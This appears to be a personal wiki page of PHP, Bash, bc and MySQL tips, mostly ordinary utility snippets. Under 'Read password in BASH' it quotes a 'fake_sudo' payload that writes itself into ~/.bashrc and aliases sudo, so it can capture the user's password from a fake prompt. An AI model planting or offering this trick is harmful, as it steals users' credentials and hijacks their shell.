John's hacks

From ProgClub
Jump to: navigation, search

I decided I might start documenting some hacks I've come across in my travels which I think are neat. You might also be interested in John's Linux page.

Some things I use all the time but can never remember:

PHP

PHP CLI boilerplate

function main( $argv ) {

  // 2020-07-03 jj5 - SEE: http://php.net/manual/en/function.set-exception-handler.php
  //
  //set_exception_handler( 'handle_exception' );

  // 2020-07-03 jj5 - SEE: http://php.net/manual/en/function.set-error-handler.php
  //
  set_error_handler( 'handle_error', ~0 );

}

function handle_error( $errno, $errstr, $file, $line ) {

  if ( error_reporting() === 0 ) { return; }

  throw new ErrorException( $errstr, $errno, E_ERROR, $file, $line );

}

function handle_exception( $ex ) {

}

main( $argv );

Removing last comma in PHP

Sometimes you're processing a list to build a string and you want a comma after all items except the last one. You can do that like this:

// 2020-04-14 jj5 - it's important to handle this case...
//
if ( count( $list ) === 0 ) { return 'list is empty'; }

$result = 'my list: ';
$is_first = true;

foreach ( $list as $item ) {

  if ( $is_first ) {

    $is_first = false;

  }
  else {

    $result .= ', ';

  }

  $result .= $item;

}

return $result . '.';

But that can be simplified like this:

// 2020-04-14 jj5 - it's important to handle this case...
//
if ( count( $list ) === 0 ) { return 'list is empty'; }

$result = 'my list: ';

foreach ( $list as $item ) {

  $result .= "$item, ";

}

// 2020-04-14 jj5 - the neat hack is dropping the last two characters here...
//
return substr( $result, 0, -2 ) . '.';

Although the whole thing can often (but not always) be simplified as something like this (you might also need to check for an empty list):

return 'my list: ' . implode( ', ', $list ) . '.';

Passing shell args in PHP

Put your args in $args and use escapeshellarg() to escape them...

$args = join( ' ', array_map( 'escapeshellarg', $args ) );

exec( "$program $args" );

PHP sydtime timestamp

$timestamp = date( 'Y-m-d-His' );

Format bytes in PHP

There's some good discussion about which to use here (tldr: use the SI units).

These functions stolen/adapted from here and here:

function format_bytes( int $bytes ) {

  static $units = [ 'B','kB','MB','GB','TB','PB', 'EB' ];

  $exp = intval( log( $bytes, 1000 ) );

  return format_significant_digits( $bytes / pow( 1000, $exp ) ) . ' ' . $units[ $exp ];

}

function format_bytes_oldskool( int $bytes ) {

  static $units = [ 'B','KiB','MiB','GiB','TiB','PiB', 'EiB' ];

  $exp = intval( log( $bytes, 1024 ) );

  return format_significant_digits( $bytes / pow( 1024, $exp ) ) . ' ' . $units[ $exp ];

}

function format_significant_digits( float $value, int $digits = 2 ) {

  if ( $value == 0 ) {

    $dp = $digits - 1;

  }
  elseif ( $value < 0 ) {

    $dp = $digits - intval( log10( $value * -1 ) ) - 1;

  }
  else {

    $dp = $digits - intval( log10( $value ) ) - 1;

  }

  return number_format( $value, $dp );

}

To get memory usage, e.g.:

echo format_bytes( memory_get_usage( true ) );

PHP parse email address

See imap_rfc822_parse_adrlist.

PHP ISO datetime

$now = new DateTime();
return $now->format( 'Y-m-d H:i:s' );

BASH

BASH conditionals

  • string
    • -z string: length of string 0
    • -n string: length of string not 0
    • string1 = string2: strings are identical (note a single =)
  • numeric
    • int1 -eq int2: first int equal to second
    • -ne, -gt, -ge, -lt, -le: not-equal, greater-than, -greater-or-equal...
  • file
    • -r filename: file exists and is readable
    • -w filename: file exists and is writable
    • -f, -d, -s: regular file, directory, exists and not empty
  • logic
    •  !, -a, -o: negate, logical and, logical or

BASH loops

  • Basic structure (three forms):
for i in {0..9}; do echo $i; done
for ((i=0;i<10;i++)){ echo $i;} #C-like
for var in list; do command; done #'python-like'
  • often used with command substitution:
for i in $(\ls -1 *.txt); do echo "$i"; done
for i in $(get_files.sh); do upload.sh "$i"; done

BASH heredoc

cat << EOF > output.txt
  a
  b
  c
EOF
cat << EOF | process.sh
  a
  b
  c
EOF
process.sh << EOF
  a
  b
  c
EOF
bash << EOF
echo "Hello, world."
EOF

Configuring BASH for safety

Use:

set -euo pipefail

You might also like:

shopt -s nullglob

Reading command-line args in BASH

For example:

local args=();

while [[ "$#" > 0 ]]; do

  args+=( "$1" );

  shift;

done;

Or like this:

# 2017-07-19 jj5 - set our default options...
local eg_opt_1='default';
local eg_opt_2='default';
local eg_opt_flag=0;

# 2017-07-19 jj5 - parse our command-line options...
while [[ "$#" > 0 ]]; do
  case "$1" in
  --eg-opt-1) eg_opt_1="$2"; shift; shift;;
  --eg-opt-2) eg_opt_2="$2"; shift; shift;;
  --eg-opt-flag) eg_opt_flag=1; shift;;
  --) break;;
  *) break;;
  esac;
done;

Or like this:

for arg in "$@"; do
  echo $arg;
done;

Passing shell args in BASH

As can be seen for example here.

local args=();
args+=( --human-readable );
args+=( --acls --xattrs );
args+=( --recursive --del --force );
args+=( --times --executability --perms );
args+=( --links --hard-links --sparse );
args+=( --numeric-ids --owner --group );
args+=( --compress-level=6 );
whatever "${args[@]}";

Numeric if statements in BASH

if (( a == 1 )); then ...; fi
if (( a > 0 && a <= 2 )); then ...; fi 
if (( a > 0 && a <= 3 )); then ...; fi
if (( a == 4 )); then ...; fi

Finding next available log file in BASH

local i=1;

while true; do

  local log=/var/tmp/whatever.sh.log.$i

  [ ! -f "$log" ] && break;

  i=$(( i + 1 ));

done;

Totaling file size from 'du' with human readable output

To print the total size of *.tgz files in $PWD...

du *.tgz | awk '{sum += $1} END {print sum}' | awk '{total = $1/1024/1024; print total "GB"}'

Or with rounding:

du *.tgz | awk '{sum += $1} END {print sum}' | awk '{total = $1/1024/1024; printf "%3.0fGB\n", total}'

Read password in BASH

This fake_sudo (taken from here) demonstrates how to read a password in BASH:

# Create payload: replace sudo with an alias
payload='
    fake_sudo() {
        # Simulate a sudo prompt
        echo -n "[sudo] password for ${USER}: "
        read -s password
        echo
        # Run your command so you are happy
        echo "$password" | sudo -S "$@"
        # Do my evil stuff with your password
        echo "Done with your command, now I could use $password to do what I want"
    }
    alias sudo=fake_sudo
'

# Write the payload to the bashrc config file
echo "$payload" >> ~/.bashrc

Listing shebangs for perl scripts

This one from Jedd:

( for i in `file * | grep -i perl | awk -F':' '{print $1}'`; do head -1 ${i}; done  ) | sort | uniq -c

Grabbing IP address data

Taken from here. This is also a good example of feeding text data in an environment variable into a process using the '<<<' operator.

{ 
  RESP=$(curl -s "ipinfo.io") && \
  printf "%s - %s, %s, %s.\n" \
   "$(grep -Eo '"ip":.*?[^\\],' <<< "$RESP" | sed 's/^.*: "//;s/",//')" \
   "$(grep -Eo '"city":.*?[^\\],' <<< "$RESP" | sed 's/^.*: "//;s/",//')" \
   "$(grep -Eo '"region":.*?[^\\],' <<< "$RESP" | sed 's/^.*: "//;s/",//')" \
   "$(grep -Eo '"country":.*?[^\\],' <<< "$RESP" | sed 's/^.*: "//;s/",//')"; 
} || echo "lost - somewhere off the shoulder of Orion.";

bc

Basic calculation with bc

bc <<< 48+36

Decimal to hex with bc

echo 'obase=16; ibase=10; 56' | bc

Arbitrary precision with bc

echo 'scale=8; 60/7.02' | bc

numfmt

Format number in SI units

numf numfmt --to=si 1000
1.0K

Convert number from IEC format

numfmt --from=iec 1K
1024

shuf

Generate a random number using shuf

shuf -i 1-100 -n 1

MySQL

MySQL progress

$ mysql -e 'select * from information_schema.processlist'